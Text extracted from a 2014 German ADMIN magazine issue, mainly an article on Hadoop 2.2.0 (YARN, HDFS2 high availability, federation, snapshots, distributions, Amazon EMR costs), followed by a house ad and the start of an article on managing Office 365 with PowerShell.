oder RFID-Tracking produzieren<br />

riesige Datenmengen. Relevante Daten<br />

werden dabei niemals verworfen, denn<br />

sie sind einfach zu wertvoll. Auch hier<br />

kommt Hadoop zum Einsatz – und zwar<br />

als ein verteiltes Dateisystem. Während<br />

Casinos <strong>mit</strong> diesen Innovationen<br />

experimentieren, versuchen auch Unternehmen<br />

in anderen Branchen, diese<br />

Erfahrungen für ihr eigenes Geschäft zu<br />

<strong>nutzen</strong>.<br />

Auf Basis von Hadoop lassen sich<br />

maßgeschneiderte Lösungen programmieren,<br />

um Datenbestände effizienter<br />

zu verwalten. Ein Beispiel liefert das<br />

Media Asset Management der Red Bull<br />

Media House GmbH (Abbildung 2). Die<br />

deutsche ADACOR Hosting GmbH aus<br />

Essen stellte im Auftrag des österreichischen<br />

Unternehmens Red Bull Media<br />

House GmbH mehrere Lösungen für<br />

das Media Asset Management auf den<br />

Prüfstand. Die Aufgabe bestand darin,<br />

ein zentrales Repository von Inhalten<br />

wie Videoclips, Fotos und Audiodateien<br />

in verschiedenen Formaten und Qualitätsstufen<br />

zu schaffen, da<strong>mit</strong> die Kunden<br />

jederzeit von überall her schnell<br />

und einfach auf diese Daten zugreifen<br />

konnten.<br />

Zu den Anforderungen zählte der<br />

Wunsch nach elastischer Skalierbarkeit<br />

ohne Wartungsfenster, minimalen Ausfallzeiten<br />

bei Hardware-Pannen, Datenreplikation,<br />

schneller Auslieferung<br />

der Daten, einer einfachen Verwaltung<br />

und einem besseren Kosten-Nutzen-<br />

Verhältnis als es Standardlösungen wie<br />

EMC-Storage bieten. In die engere Wahl<br />

kamen unter anderem NFS, GlusterFS,<br />

Lustre, Openfiler, CloudStore und<br />

schließlich das Hadoop Distributed File<br />

System (HDFS).<br />

Als erster Ansatz wurde NFS untersucht,<br />

ein in der Unix-Welt sehr<br />

verbreitetes, stabiles und bewährtes<br />

Dateisystem. NFS enttäuschte ADACOR<br />

durch unzureichende Performance<br />

und fehlende Features wie die nicht<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


<strong>ADMIN</strong><br />

InklusIve:<br />

IT-Praxis & Strategie<br />

Debian-Version 7.2<br />

JAhRes-DVD 2013<br />

ALLe ArTIkeL des JAHres Auf eINer dVd<br />

INHALT<br />

■ Artikel zu Storage, Backup,<br />

Security, Monitoring,<br />

Virtualisierung u.v.m.<br />

■ Zum Lesen am Bildschirm<br />

oder Ausdrucken: PDF und<br />

HTML-Format<br />

■ Search Engine für<br />

Artikel-Volltext-Suche<br />

Jetzt gleich bestellen!<br />

www.admin-magazin.de/DVD2013 oder 089 - 99 34 11 - 00


68<br />

Know-how<br />

Hadoop<br />

vorhandene Datenreplikation. Auch die<br />

Verwaltung des verteilten Speichers<br />

hätte die resultierende Applikation<br />

übernehmen müssen. Der Aufwand<br />

wäre einfach zu groß gewesen.<br />

Als zweiter Kandidat kam GlusterFS<br />

unter die Lupe. Mit diesem Dateisystem<br />

hatte die ADACOR Hosting GmbH<br />

bereits in einem anderen Kontext gute<br />

Erfahrungen gemacht, vor allem im<br />

Hinblick auf die Performance. Mit steigender<br />

Anzahl der Knoten eines GlusterFS-Clusters<br />

nimmt der maximale<br />

Datendurchsatz zu. GlusterFS disqualifizierte<br />

sich jedoch in den Augen der<br />

Tester durch einen sehr hohen Verwaltungsaufwand<br />

und eine praxisfremde<br />

Skalierbarkeit <strong>mit</strong> obligatorischer<br />

Downtime.<br />

Lustre konnte sowohl im Hinblick auf<br />

die Performance, Skalierbarkeit als<br />

auch die komfortable Administration<br />

punkten. Doch auch diese Lösung hatte<br />

zum Zeitpunkt der Implementierung<br />

keine robuste Replikation vorzuweisen.<br />

Openfiler fiel aus der engeren Auswahl<br />

heraus, als das System mehrere Tage<br />

brauchte, um ein Rebuild von lediglich<br />

3 Terabyte Daten abzuschließen. Cloud-<br />

Store wurde von ADACOR aufgrund<br />

mangelnder Stabilität verworfen.<br />

Lediglich HDFS, das verteilte Dateisystem<br />

von Hadoop, konnte in allen Punkten<br />

überzeugen und die Kundenanforderungen<br />

am ehesten erfüllen.<br />

Big Data: eine Frage der<br />

Flexibilität<br />

Zu den beinahe unverwüstlichen Mythen,<br />

die sich in der IT-Industrie halten,<br />

zählt die Überzeugung, dass Big Data<br />

nur für Großunternehmen anwendbar<br />

oder bezahlbar sei. Der Mittelstand<br />

ist fast schon selbstverständlich fest<br />

davon überzeugt, dass ohne Datenbestände<br />

im Petabyte-Bereich ohnehin<br />

nicht von Big Data die Rede sein kann.<br />

Nichts könnte weiter von der Wahrheit<br />

entfernt sein. Auch wenn es sich „nur“<br />

um Datenmengen von 10 oder 50 Terabyte<br />

handelt, bietet sich der Einsatz<br />

von Hadoop an. Bei Big Data handelt es<br />

sich nicht um eine bestimmte Datenmenge,<br />

sondern um das Fehlen einer<br />

Datenstruktur.<br />

Eigentlich besteht die Frage gar nicht<br />

darin, ob sich ein Unternehmen „bereits“<br />

für Big Data qualifiziert. Viele<br />

Firmen haben allerdings zuvor noch<br />

eine ganz andere Herausforderung:<br />

ein Daten-Management-Problem. Ein<br />

unternehmenseigenes Data Warehouse<br />

stößt sehr schnell an die Kapazitätsgrenzen<br />

einer einzelnen Maschine. So<br />

sind zunächst isolierte Datensilos entstanden.<br />

Wer aus ihnen umsetzbare Erkenntnisse<br />

gewinnen möchte, braucht<br />

ein verteiltes Cluster-Dateisystem wie<br />

HDFS, das <strong>mit</strong> den Anforderungen<br />

<strong>mit</strong>wächst, und ein Framework wie<br />

Hadoop.<br />

Für den Mittelstand gibt es keine sachlichen<br />

oder finanziellen Gründe, um<br />

auf Big Data zu verzichten. Zugegeben:<br />

zu den lautstärksten Benutzern von<br />

Hadoop gehören einige der größten<br />

Namen aus der IT-, Social-Media- und<br />

Unterhaltungsindustrie, darunter Amazon<br />

Web Services, AOL, Apple, eBay, Facebook,<br />

Netflix und HP. Doch vor allem<br />

für kleinere Firmen <strong>mit</strong> schmalen Budgets<br />

kommt Hadoop 2.2.x wie gerufen:<br />

einfach zu programmieren, kostenfrei,<br />

plattformunabhängig und offen.<br />

Die größte Herausforderung beim<br />

Einsatz von Hadoop ist keinesfalls ein<br />

dickes Finanzpolster, sondern fehlendes<br />

Know-how. Im ersten Schritt<br />

gilt es, sich die günstige Datenverarbeitung<br />

und robuste Daten<strong>sicher</strong>ung<br />

n Big-Data-Applikationen <strong>mit</strong> Unterstützung für YARN<br />

Aus der effizienten Ressourcen-Verwaltung durch YARN kann eine Vielzahl von Applikationen bereits<br />

heute einen Nutzen ziehen (Abbildung 3). Die Liste YARN-optimierter Big-Data-Applikationen beinhaltet<br />

unter anderem Apache Giraph (Visualisierung), Apache Hama (BSP), Apache Hadoop Map-<br />

Reduce (Stapelverarbeitung von Daten), Apache Tex (Stapelverarbeitung und interaktive Jobs im<br />

Arbeitsspeicher), Apache S4/​Samza/​Storm (Echtzeitverarbeitung von Datenströmen), Apache Spark<br />

(iterative und interaktive Applikationen), Elastic Search, Cloudera Llama (eine YARN-Implementierung<br />

von Impala einer hybriden Ad-hoc-Abfrage-Engine <strong>mit</strong> Unterstützung für den SQL-Dialekt<br />

Hive QL), DataTorrent (Datenanalyse), HOYA (HBase auf YARN) und Red Point (Datenverwaltung).<br />

<strong>mit</strong> Hadoop zunutze zu machen. Erst<br />

nachdem das Unternehmen da<strong>mit</strong><br />

begonnen hat, die Früchte dieser Kostensenkungen<br />

zu ernten, kann es die<br />

eigenen Aktivitäten rund um die Datenanalyse<br />

ausbauen. Erst in dieser Phase<br />

macht es Sinn, Datenwissenschaftler<br />

zu beschäftigen, da<strong>mit</strong> sie <strong>mit</strong>hilfe von<br />

Datenanalyselösungen auf der Basis<br />

von Hadoop anspruchsvolleren Fragen<br />

nachgehen.<br />

MapReduce NextGen<br />

Die Änderungen in Hadoop 2.2.0 sind<br />

tiefgreifend und durchdacht. Den Innovationen<br />

liegt die Modularisierung<br />

der Engine zugrunde. Dieser gewagte<br />

Schritt soll das Hadoop-Ökosystem um<br />

Plug-ins und andere Erweiterungen<br />

bereichern. Er verspricht nebenbei<br />

auch zusätzliche Flexibilität für den<br />

Hadoop-Administrator. So kann der<br />

Admin einige eingebaute Algorithmen<br />

bereits heute durch externe Module<br />

ersetzen, um in den Genuss erweiterter<br />

Funktionalität zu kommen. Das betrifft<br />

zum Beispiel Shuffle und Sort. Diese<br />

Module lassen sich sogar parallel und<br />

zusammern <strong>mit</strong> den eingebauten Algorithmen<br />

<strong>nutzen</strong>.<br />

Zu den wichtigsten Neuerungen in der<br />

Version 2.2.0 zählt die Einführung von<br />

YARN (Yet Another Resource Negotiator)<br />

als optionalen Ersatz für MapReduce.<br />

MapReduce in Hadoop 1.x (Abbildung<br />

5) war nicht für alle Workloads<br />

optimal geeignet. Es läuft dort zur<br />

Höchstform auf, wo sich die Aufgaben<br />

klar aufteilen und parallelisieren lassen.<br />

Viele der Unzulänglichkeiten von<br />

MapReduce sind <strong>mit</strong> YARN passé.<br />

Bei YARN handelt es sich um eine<br />

Weiterentwicklung von MapReduce,<br />

MapReduce Version 2 (kurz: MRv2).<br />

Der Name wurde im Übrigen nicht rein<br />

zufällig gewählt. Die Aussprache von<br />

„YARN“ ähnelt dem englischen Wort<br />

„yearn“; dieses bedeutet so viel wie<br />

„etwas begehren“.<br />

YARN setzt direkt auf HDFS auf und<br />

übernimmt die Rolle eines verteilten<br />

Betriebssystems zur Ressourcen-<br />

Verwaltung für Big-Data-Applikationen<br />

(Abbildung 4). Dank YARN können<br />

Sie <strong>mit</strong> Hadoop 2.2.x interaktive<br />

Workloads, Echtzeit-Workloads und<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Hadoop<br />

69<br />

automatisierte Workloads ineinander<br />

verweben. Das Beste daran: YARN ist<br />

rückwärtskompatibel zu MapReduce<br />

auf der API-Ebene (hadoop-0.20.205)<br />

und verbessert nebenbei die Kompatibilität<br />

von Hadoop <strong>mit</strong> anderen<br />

Projekten der Apache Software Foundation.<br />

Wer unbedingt darauf besteht,<br />

MapReduce in der alten Ausführung<br />

zu <strong>nutzen</strong>, kann es jetzt als ein Modul<br />

laden. Das sollte allerdings nicht nötig<br />

sein, denn MapReduce-Applikationen<br />

sind binärkompatibel zwischen beiden<br />

Generationen von Hadoop.<br />

Die wichtigste Änderung in YARN gegenüber<br />

dem klassischen MapReduce<br />

ist die Zuteilung der zwei Funktionen<br />

des JobTrackers – der Ressourcen-<br />

Verwaltung und der Zeitverwaltung/​<br />

Workload-Überwachung – zu zwei<br />

separaten Daemons: dem globalen<br />

ResourceManager (RM) und dem Jobspezifischen<br />

ApplicationMaster (AM).<br />

Der ResourceManager besteht wiederum<br />

aus zwei Grundkomponenten: dem<br />

sogenannten Scheduler und dem ApplicationsManager.<br />

Der Scheduler verantwortet<br />

die Zuweisung von Ressourcen<br />

zu den verschiedenen laufenden Applikationen,<br />

fühlt sich aber für die Überwachung<br />

der Workloads nicht zuständig.<br />

Der Scheduler berücksichtigt sowohl<br />

den Ressourcen-Bedarf der einzelnen<br />

Applikationen als auch die Einschränkungen<br />

der Kapazitäten des Clusters.<br />

Abbildung 3: Applikationen <strong>mit</strong> Unterstützung für YARN in Hadoop 2.x: MapReduce ist jetzt ein Modul<br />

im User-Space, binärkompatibel <strong>mit</strong> Altlasten-Applikationen aus Hadoop 1.x.<br />

In der aktuellen Version kann der<br />

Scheduler leider nur eine Ressource<br />

verwalten: den Arbeitsspeicher. In<br />

künftigen Versionen von YARN soll es<br />

möglich sein, CPU-Zyklen, den Massenspeicher<br />

und die Netzwerkbandbreite<br />

des Clusters einzelnen Applikationen<br />

zuzuteilen.<br />

Die Zuteilung von Ressourcen erfolgt<br />

durch das Partitionieren des sogenannten<br />

Ressourcen-Containers, einer virtuellen<br />

Compute-Einheit in einem Knoten<br />

des Clusters. Ein Knoten kann im Übrigen<br />

über mehrere solche Container<br />

verfügen. Der ApplicationsManager (die<br />

zweite Grundkomponente des ResourceManagers<br />

neben dem Scheduler)<br />

nimmt Workload-Aufträge entgegen.<br />

Der ApplicationsManager initiiert hierzu<br />

die Einrichtung des ersten Ressourcen-<br />

Containers für den ApplicationMaster<br />

und startet diesen (beziehungsweise<br />

startet diesen nach einem Absturz neu).<br />

Der Applikations-gebundene ApplicationMaster<br />

fordert die benötigten<br />

Ressourcen-Container vom Scheduler


70<br />

Know-how<br />

Hadoop<br />

Abbildung 4: Die Architektur von Hadoop 2.x: Ressourcen-Verwaltung durch YARN basiert auf logischen Einheiten<br />

der sogenannten Ressourcen-Container; das Anfordern von Ressourcen ist nun von der Applikationslogik<br />

getrennt.<br />

an (der Scheduler ist Teil des ResourceManagers),<br />

und beginnt, sie zu überwachen.<br />

HDFS kennt zwei Typen von Servern<br />

oder Clusterknoten: Namenknoten<br />

(NameNodes) und Datenknoten (DataNodes).<br />

NameNodes verwalten Metadaten;<br />

die eigentlichen Datenblöcke<br />

werden auf den DataNodes vorgehalten.<br />

Für jeden Knoten des Clusters (also<br />

eine einzelne Maschine) zeichnet sein<br />

eigener NodeManager verantwortlich.<br />

Dieser überwacht die Verwendung der<br />

Ressourcen der Container und berichtet<br />

an den ResourceManager/​Scheduler,<br />

was auf dem jeweiligen Knoten<br />

gerade vor sich geht. Die neue Architektur<br />

ermöglicht erhebliche Kosteneinsparungen<br />

(Abbildung 5). Yahoo schätzt<br />

die erzielten Verbesserungen der Node-<br />

Auslastung auf 60 bis 150 Prozent pro<br />

Tag. Yahoo testete YARN <strong>mit</strong> 365 PByte<br />

an Daten <strong>mit</strong> 400 000 Jobs auf 40 000<br />

Cluster-Nodes <strong>mit</strong> einer Gesamtrechenzeit<br />

von 10 Millionen Stunden. Eine<br />

Hochverfügbarkeitsimplementierung<br />

Abbildung 5: Zum Vergleich: In Hadoop 1.x werden die vorhandenen Ressourcen des Clusters hart partitioniert,<br />

was eine suboptimale Nutzung der verfügbaren Kapazitäten zur Folge hatte. Jobs, die sich nicht per »map« und<br />

»reduce« aufteilen ließen, liefen entsprechend langsam ab.<br />

des YARN-ResourceManagers<br />

ist für eine künftige<br />

Version geplant.<br />

HDFS2<br />

HDFS galt schon immer als<br />

zuverlässig. Im Einsatz bei<br />

Yahoo auf 20 000 Knoten in<br />

zehn Clustern ließ sich der<br />

Verlust von nur 650 verlorenen<br />

Datenblöcken von<br />

insgesamt 329 Millionen<br />

auf HDFS-Fehler zurückführen.<br />

Das war 2009. Seither<br />

hat die Apache Foundation<br />

an der Zuverlässigkeit von<br />

HDFS intensiv gefeilt.<br />

Trotz seiner Zuverlässigkeit<br />

hatte HDFS in Hadoop v1<br />

einen klaren Single-Pointof-Failure:<br />

den Namenknoten<br />

(NameNode), die<br />

Schaltzentrale zum Verwalten von<br />

Zugriffen auf Daten <strong>mit</strong>hilfe von Metadaten.<br />

Zwar waren NameNodes redundant<br />

ausgelegt, jedoch ließen sie sich nur in<br />

einer Aktiv/​Passiv-Node-Architektur betreiben.<br />

Beim Ausfall eines aktiven Namenknotens<br />

musste der Administrator<br />

die Konfiguration manuell anpassen. So<br />

konnte der Ausfall eines Namenknotens<br />

das ganze HDFS zum Erliegen bringen;<br />

aktuell laufende Schreibprozesse sowie<br />

Jobs in der Warteschlange wurden <strong>mit</strong><br />

einer Fehlermeldung abgebrochen.<br />

Die Implementierung<br />

geschäftskritischer Workloads,<br />

die interaktiv in<br />

Echtzeit ablaufen müssen,<br />

war dadurch sehr problematisch.<br />

Die Hadoop-Entwickler<br />

haben sich des Problems<br />

angenommen und sich<br />

eine Lösung einfallen<br />

lassen: den Hochverfügbarkeits-Namenknoten<br />

(HA-Namenknoten). Der<br />

HA-Namenknoten wartet<br />

auf der sprichwörtlichen<br />

Reservebank und kann<br />

bei Bedarf für den aktiven<br />

Namenknoten einspringen.<br />

In Hadoop 2.0 lässt sich<br />

dieser sogenannte Failover<br />

dennoch nur durch einen<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Hadoop<br />

71<br />

manuellen Eingriff durch den Hadoop-<br />

Administrator auslösen.<br />

In Hadoop 1.0 war zusätzlich zu einem<br />

Namenknoten ein weiterer Knoten vorgesehen,<br />

der ihm sprichwörtlich über<br />

die Schultern schaute. Jetzt fällt diese<br />

Aufgabe dem HA-Namenknoten zu.<br />

HDFS-Federation<br />

Um den Namendienst horizontal zu<br />

skalieren, nutzt Hadoop 2.2.0 Federation<br />

<strong>mit</strong> mehreren völlig unabhängigen<br />

Namenknoten und Namensräumen.<br />

Die Namenknoten sind unabhängig, indem<br />

sie ihre Arbeit nicht koordinieren.<br />

Alle Namenknoten greifen unabhängig<br />

voneinander auf eine gemeinsame<br />

Sammlung von Datenknoten zu. Jeder<br />

dieser Datenknoten registriert sich bei<br />

allen Namenknoten des eigenen Clusters,<br />

sendet periodisch ein Heartbeat-<br />

Signal sowie Block-Berichte und nimmt<br />

Befehle entgegen. Eine Implementierung<br />

von Symlinks war zwar für diese<br />

Version geplant, wurde jedoch in der<br />

letzten Minute gestrichen.<br />

HDFS-Snapshots<br />

In Hadoop 2.x debütieren Snapshots des<br />

HDFS-Dateisystems: nicht-beschreibbare<br />

Kopien des Dateisystems, die seinen<br />

Zustand zu einem definierten Zeitpunkt<br />

erfassen (Point-in-Time Copy).<br />

Für einen HDFS-Snapshot werden<br />

keine DataNodes kopiert. Der Snapshot<br />

erfasst lediglich die Liste aller Datenblöcke<br />

und die Größe der Dateien. Der<br />

Vorgang hat keinen negativen Effekt<br />

auf sonstige I/​O-Operationen. Änderungen<br />

werden in umgekehrter chronologischer<br />

Reihenfolge aufgezeichnet,<br />

sodass auf die aktuellen Daten direkt<br />

zugegriffen werden kann. Der Zustand<br />

der Daten für den Snapshot errechnet<br />

HDFS2 durch die Subtraktion betreffender<br />

Änderungen vom aktuellen Zustand<br />

des Dateisystems.<br />

Der Vorgang benötigt in der Regel auch<br />

keinen zusätzlichen Arbeitsspeicher<br />

(außer wenn gleichzeitig geschrieben<br />

wird). Um Snapshots zuzulassen, nutzt<br />

der Administrator den folgenden Befehl<br />

<strong>mit</strong> Berechtigungen des Superusers:<br />

hdfs dfsadmin ‐allowSnapshot U<br />

Pfad‐zum‐snapshotbaren‐Verzeichnis<br />

Abbildung 6: Der Hadoop-2.x-Stack <strong>mit</strong> Apache TEZ: Performance-Steigerung dank der Datenverarbeitung<br />

im Arbeitsspeicher des Clusters.<br />

Der betreffende Verzeichnisbaum kann<br />

dann <strong>mit</strong> den Benutzerrechten des<br />

Besitzers in einem Snapshot wie folgt<br />

erfasst werden:<br />

hdfs dfs ‐createSnapshot U<br />

Pfad‐zum‐snapshotbaren‐Verzeichnis U<br />

[]<br />

Alternativ kann man selbstverständlich<br />

auch vom Java-API Gebrauch machen.<br />

Um den Pfad zu Snapshots zu kennzeichnen,<br />

haben die Entwickler von<br />

HDFS2 den Objektnamen ».snapshot«<br />

vorgesehen. Falls in dem HDFS-Dateisystem<br />

Ihrer Hadoop-Installation diese<br />

Zeichenkette vorkommt, müssen Sie<br />

die betreffenden Objekte vor dem Upgrade<br />

unbedingt umbenennen, sonst<br />

schlägt es fehl.<br />

Die Distributionen<br />

Rund um Hadoop ist inzwischen ein<br />

ganzes Ökosystem spezialisierter<br />

Lösungen entstanden. Apaches Distribution<br />

von Hadoop adressiert primär<br />

Anbieter von Big-Data-Tools, die ihre<br />

eigenen (kommerziellen) Lösungen darauf<br />

aufsetzen. In diese Kategorie fallen<br />

unter anderem Cloudera, Hortonworks,<br />

IBM, SAP und EMC.<br />

Für den unternehmenskritischen Einsatz<br />

von Hadoop mag eine Hadoop-<br />

Distribution <strong>mit</strong> 24/​7-Support eines<br />

Dienstleisters wie Cloudera [1] oder<br />

Hortonworks [2] tatsächlich vorteilhaft<br />

sein. Allerdings lassen sich diese<br />

Anbieter dafür fürstlich bezahlen. Wer<br />

einen Service-Vertrag nicht dringend<br />

benötigt, dem steht es frei, kostenlose<br />

Versionen dieser Distributionen zu <strong>nutzen</strong>.<br />

Darüber hinaus gibt es Hadoop-<br />

Distributionen, die speziell für kleinere<br />

bis <strong>mit</strong>telgroße Unternehmen geschaffen<br />

wurden, wie Stratosphere von der<br />

TU Berlin [3].<br />

Stratosphere von der TU<br />

Berlin<br />

Stratosphere verbindet eine einfache<br />

Installation <strong>mit</strong> leichter Bedienbarkeit<br />

und einer hohen Performance. Die<br />

Plattform skaliert auch auf großen<br />

Clustern, nutzt Mehrkernprozessoren<br />

und unterstützt In-Memory-Datenverarbeitung.<br />

Sie verfügt außerdem über<br />

fortgeschrittene Analytikfunktionalität<br />

und erlaubt es dem Anwender sogar,<br />

die Aufträge in Java und Scala zu programmieren.<br />

Stratosphere wird in Deutschland unter<br />

der Federführung von Prof. Dr. Volker<br />

Markl an der TU Berlin im Fachgebiet<br />

Datenbanksysteme und Informationsmanagement<br />

(DIMA) entwickelt. Stratosphere<br />

läuft dabei sowohl on-premise<br />

als auch in der Cloud, also etwa auf<br />

Amazon EC2.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


72<br />

Know-how<br />

Hadoop<br />

n Info<br />

Hadoop-Dienste<br />

Für den wachstumsorientierten Mittelstand<br />

gibt es inzwischen eine reiche<br />

Auswahl an Hadoop-Diensten.<br />

Amazon bietet <strong>mit</strong> Elastic MapReduce<br />

(EMR) eine Implementierung von Hadoop<br />

<strong>mit</strong> Unterstützung für Hadoop 2.2<br />

und HBase 0.94.7 sowie die MapR-M7-,<br />

M5- und M3-Hadoop-Distributionen<br />

von MapR Technologies an. Der Dienst<br />

adressiert Unternehmen, Forscher, Datenanalysten<br />

und Entwickler in den Bereichen<br />

Web-Indizierung, Data-Mining,<br />

Protokolldateianalyse, maschinelles<br />

Lernen, Finanzanalyse, wissenschaftliche<br />

Simulationen und bioinformatische<br />

Forschung. Kunden, die HBase implementieren<br />

möchten, bietet Elastic Map<br />

Reduce <strong>mit</strong> M7 nahtlose Splits ohne<br />

Komprimierung, sofortige Wiederherstellung<br />

nach Fehlern, Zeitpunktwiederherstellung,<br />

Full-HA, Spiegelung<br />

und konsistent geringe Latenzen. In<br />

dieser Ausführung fallen allerdings zusätzliche<br />

Kosten an. Auch Google (<strong>mit</strong><br />

Compute Engine) und Microsoft (<strong>mit</strong><br />

Azure) haben eigene Implementierungen<br />

von Hadoop im Köcher.<br />

Mit Hadoop als Service in der Wolke<br />

entfallen für die betroffenen Unternehmen<br />

Vorabinvestitionen für Hardware,<br />

die verzögerte Bereitstellung bestellter<br />

Infrastruktur und andere Auslagen. Ein<br />

gutes Beispiel ist dank der übersichtlichen<br />

Preisstruktur Amazon EMR. Mit<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31338<br />

[1] Hadoop-Distribution von Cloudera: [http://​<br />

www. cloudera. com/ content/ cloudera/ en/​<br />

products‐and‐services/ cdh. html]<br />

[2] Hadoop-Distribution von Hortonworks:<br />

[http:// hortonworks. com/ products/​<br />

hadoop‐support]<br />

[3] Hadoop-Distribution Stratosphere von der Technischen<br />

Universität Berlin: [https:// github. com/​<br />

stratosphere/ stratosphere]<br />

[4] Vergleich der Hadoop-Distributionen von<br />

MapR Technologies: [http:// www. mapr. com/​<br />

products/ mapr‐editions]<br />

Abbildung 7: Zum Vergleich: In Hadoop<br />

1.x waren alle Applikationen auf die Nutzung<br />

von MapReduce angewiesen.<br />

EMR können Sie einen Hadoop-Cluster<br />

bloß temporär einrichten, sodass er<br />

sich nach Abschluss der Analyse von<br />

selbst auflöst und Sie keine weiteren<br />

Kosten tragen. Die Preise beginnen bei<br />

0,015 Dollar pro Stunde für den EMR-<br />

Dienst pro Instanz zuzüglich der ebenfalls<br />

im Stundentakt anfallenden EC2-<br />

Kosten für jede Instanz des gewählten<br />

Typs (ab 0,06 Dollar pro Instanz).<br />

Für 100 Instanzen zahlen Sie also pro<br />

Stunde bis zu 1,50 Dollar für Hadoop<br />

(100 x 0,015 USD) und bis zu 6,00 Dollar<br />

für bis zu 100 laufende On-Demand-<br />

Instanzen (100 x 0,06 USD). Unterm<br />

Strich kommen Sie also <strong>mit</strong> 7,50 USD<br />

pro Stunde für 100 Small-Instanzen<br />

weg. Um die Kosten noch weiter zu<br />

drücken, könnte man diese Instanzen<br />

schließlich zusätzlich für bis zu drei<br />

Jahre reservieren.<br />

Nummerierung<br />

Hadoop-Entwickler haben sich <strong>mit</strong><br />

der Wahl der Versionsnummern selbst<br />

keinen großen Gefallen getan. Wer<br />

beachtliche Entwicklungsschritte <strong>mit</strong><br />

der zweiten Dezimalstelle einer Versionsnummer<br />

kennzeichnet – wie von<br />

Version 0.20 zur Version 0.23 – darf sich<br />

anschließend nicht wundern, wenn die<br />

Anwender von den Fortschritten kaum<br />

Notiz nehmen.<br />

Die Version 0.20 bezeichnet die erste<br />

Hadoop-Generation (v1.0, Abbildung 7).<br />

Wann immer vom 0.23-Zweig die Rede<br />

ist (Abbildung 6), geht es um Hadoop<br />

2.2.x. Die Versionsnummer 2.2.0 bezeichnet<br />

das erste Release der zweiten<br />

Generation <strong>mit</strong> der allgemeinen Verfügbarkeit.<br />

Ein Produkt der Enterprise-Klasse, das<br />

sich in der harten Praxis seit Jahren<br />

bewährt, hätte sich eigentlich eine<br />

höhere Versionsnummer verdient. Der<br />

scheinbar minimale Generationssprung<br />

auf die Version 2.2.0 trägt dem deutlich<br />

fortgeschrittenen Reifegrad von Hadoop<br />

kaum Rechnung. Der Qualität von<br />

Hadoop tut die zögerliche Nummerierung<br />

jedoch keinen Abbruch.<br />

Die steigende Bedeutung von Hadoop<br />

erkennt man unter anderem auch daran,<br />

dass zahlreiche prominente Anbieter<br />

ihre kommerziellen Lösungen an Hadoop<br />

anpassen. SAP verkauft die Intel-<br />

Distribution und die HortonWorks Data<br />

Platform für Hadoop. SAP Hana, eine<br />

Datenanalyseplattform für Big Data, integriert<br />

sich nahtlos <strong>mit</strong> Hadoop.<br />

DataStax liefert eine Distribution von<br />

Hadoop und Solr <strong>mit</strong> der eigenen<br />

NoSQL-Lösung DataStax Enterprise.<br />

Anwender von DataStax Enterprise<br />

<strong>nutzen</strong> Hadoop zur Datenverarbeitung,<br />

Apache Cassandra als eine Datenbank<br />

für transaktionale Daten und die Suchmaschine<br />

Solr für die verteilte Suche.<br />

Cassandra unterstützt im Übrigen das<br />

Ausführen von Hadoop-MapReduce-<br />

Jobs auf einem Cassandra-Cluster.<br />

Fazit<br />

Nach vier Jahren Entwicklungsarbeit<br />

überrascht Hadoop 2.2.0 seine Anwender<br />

<strong>mit</strong> bahnbrechenden Neuerungen.<br />

Dank der Modularisierung und einer<br />

HA-HDFS gelang es der Apache Foundation,<br />

den Abstand zu Alternativen zu<br />

halten oder sogar noch zu vergrößern.<br />

Dank der deutlich verbesserten Verwaltung<br />

von Workloads hat Hadoop<br />

eine ganz neue Anziehungskraft für den<br />

Mittelstand bekommen. Großunternehmen<br />

konnten sich die benötigten<br />

Zusatzfunktionen schon immer maßgeschneidert<br />

programmieren lassen,<br />

der Mittelstand war dagegen bisher <strong>mit</strong><br />

der mühsamen Entwicklung schlicht<br />

überfordert. Das hat sich <strong>mit</strong> Hadoop<br />

2.2.0 nun <strong>glücklich</strong>erweise endgültig<br />

geändert. (jcb) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


74<br />

Know-how<br />

Office 365<br />

Office 365 <strong>mit</strong> der Powershell verwalten<br />

Remote<br />

Office<br />

sellingpix, 123RF<br />

Microsoft bietet seine Office-Programme auch als Service<br />

in der Cloud an. Um den Dienst <strong>mit</strong> dem Namen Office 365<br />

in die eigene Infrastruktur zu integrieren, drängt sich die<br />

die Powershell als Helfer geradezu auf. Thomas Joos<br />

Unternehmen setzen immer häufiger<br />

auf Cloud-Dienste, wie sie Microsoft <strong>mit</strong><br />

Office 365 anbietet. Die Verwaltung dieser<br />

Dienste erfolgt normalerweise über<br />

eine Webschnittstelle. Es gibt allerdings<br />

auch Erweiterungen für die Powershell,<br />

über die Administratoren so<strong>mit</strong> Daten<br />

abrufen und Einstellungen vornehmen<br />

können.<br />

Da<strong>mit</strong> Sie Office 365 in der Powershell<br />

verwalten können, müssen Sie zuerst<br />

zwei Erweiterungen herunterladen<br />

und installieren. Danach rufen Sie die<br />

normale Powershell auf und verbinden<br />

diese Sitzung <strong>mit</strong> Ihrem Office-<br />

365-Abonnement. Herunterladen<br />

und installieren müssen Sie zunächst<br />

den »Microsoft Online Services‐Anmelde‐Assistent«<br />

und »Windows Azure<br />

Active Directory‐Modul für Windows<br />

Powershell«. Die Downloads finden Sie<br />

auf den Seiten [1][2][3]. Achten Sie darauf,<br />

dass Sie die korrekte Version herunterladen,<br />

also »32 Bit« oder »64 Bit«.<br />

Außerdem muss auf dem Rechner das<br />

.NET-Framework mindestens in Version<br />

3.5.1 installiert sein.<br />

Sollten bei der Einrichtung und der<br />

Installation Probleme auftreten, liegt<br />

es in den meisten Fällen an Inkompatibilitäten<br />

zwischen dem Online-<br />

Services-Anmelde-Assistenten, dem<br />

Windows-Azure-Active-Directory-Modul<br />

für Windows Powershell und Ihrem Office-365-Abonnement.<br />

Installieren Sie<br />

immer die neuesten Versionen dieser<br />

Anwendungen von den erwähnten Seiten.<br />

Sie können die Einrichtung auch<br />

über Ihr Office-365-Portal im Software-<br />

Bereich vornehmen [4]. Treten Fehler<br />

auf, deinstallieren Sie die einzelnen Module<br />

in Windows über »appwiz.cpl« und<br />

installieren Sie danach die aktuellen<br />

Versionen neu.<br />

Gelingt die Anmeldung an Office 365<br />

immer noch nicht, liegt es in den<br />

meisten Fällen an Problemen <strong>mit</strong> dem<br />

Microsoft-Online-Services-Anmelde-<br />

Assistent. Installieren Sie in diesem<br />

Fall entweder die aktuelle Beta-Version<br />

